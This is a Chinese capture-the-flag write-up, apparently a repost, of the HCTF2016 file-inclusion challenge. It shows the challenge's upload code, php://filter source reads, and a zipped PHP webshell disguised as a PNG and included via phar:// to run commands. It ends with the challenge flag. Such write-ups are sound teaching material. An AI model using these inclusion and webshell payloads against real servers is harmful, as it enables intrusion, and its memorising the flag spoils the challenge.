首页 > 其他 > 详细

目录遍历复现(HCTF2016)

时间:2021-02-14 09:31:09      阅读:30      评论:0      收藏:0      [点我收藏+]

项目地址:https://github.com/Heart-Sky/HCTF2016-LFI

1.收集题目信息

技术分享图片

技术分享图片

题目上传图片,先简单抓包

发现包中URL进行了两次变化:

技术分享图片

技术分享图片

 

2.分析

结合上面的抓包,内容联想是否是文件包含题目

首先猜测

?fp=show.php

返回结果一样,包含失败

尝试修改为

?fp=./show

技术分享图片

返回数据包中出现重定向,说明存在文件

技术分享图片

这样一来可以确定的是题目考点是文件包含

 

3.读取源码

逐个尝试

技术分享图片

技术分享图片

最后base64解密得到./show的源码:

<?php  
$imagekey = $_GET[‘imagekey‘];
if(empty($imagekey))
{
    echo "<script>location.href=‘home.php‘</script>";
    exit;
}


?>
<div class="alert alert-success" role="alert">
    上传成功,<a href="uploads/<?php echo $imagekey; ?>.png" class="alert-link">点此查看</a>
</div>

同理发现./upload访问后也重定向

技术分享图片

技术分享图片

包含得源码

<?php  
include ‘function.php‘;
if(isset($_POST[‘submit‘]) && !empty($_FILES[‘image‘][‘tmp_name‘]))
{    
    $name = $_FILES[‘image‘][‘tmp_name‘];
    $type = $_FILES[‘image‘][‘type‘];
    $size = $_FILES[‘image‘][‘size‘];

    if(!is_uploaded_file($name))
    {
        ?>
        <div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
        <?php
            exit;
    }    

    if($type !== ‘image/png‘)
    {
        ?>
        <div class="alert alert-danger" role="alert">只能上传PNG图片</div>
        <?php
            exit;
    }     

    if($size > 10240)
    {
        ?>
        <div class="alert alert-danger" role="alert">图片大小超过10KB</div>
        <?php
            exit;    
    }

    $imagekey = create_imagekey();
    move_uploaded_file($name,"uploads/$imagekey.png");

    echo "<script>location.href=‘?fp=show&imagekey=$imagekey‘</script>";
}
?>

分析源码可以看见,题目要求只能上传png后缀图片,且大小不超过10KB。对比一下自己写的图片马,肯定都是大于10KB无法上传的。

 

4.伪协议的利用

PHP中的ZIP伪协议可以读取调用压缩包中的文件,zip://

事先准备好php的webshell,压缩成zip,上传绕过前端的验证

错误的绕过:

技术分享图片

修改了文件类型,解析的时候会出问题

正确的绕过:压缩后修改后缀名,参考:如何伪装压缩文件为图片

 

访问的图片URL:

技术分享图片

详细包含示例:

技术分享图片

#号后面是压缩包里的文件1.php,读取的时候只有文件名1,不需要后缀(上面为了便于理解加了.php)

尝试包含但是zip无法使用,就替换成类似的phar://

技术分享图片

http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=phpinfo();

技术分享图片

http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=system(ls);

看到目录下的flag文件,直接源码包含

技术分享图片

http://www.youkilearning.top:8000/12/home.php?fp=php://filter/convert.base64-encode/resource=./Th1s_1s_F1a9

得到

Q29uZ3JhdHVsYXRpb25zLGZsYWcgaXMgaGVyZSxhbmQgdGhlbj8KPD9waHAKLy9oY3Rme1RoMXNfMXNfZTRzWV8xc19uMFRfMXQ/fQo/Pgo=


Congratulations,flag is here,and then?
<?php
//hctf{Th1s_1s_e4sY_1s_n0T_1t?}
?>

 

目录遍历复现(HCTF2016)

原文:https://www.cnblogs.com/echoDetected/p/14400955.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!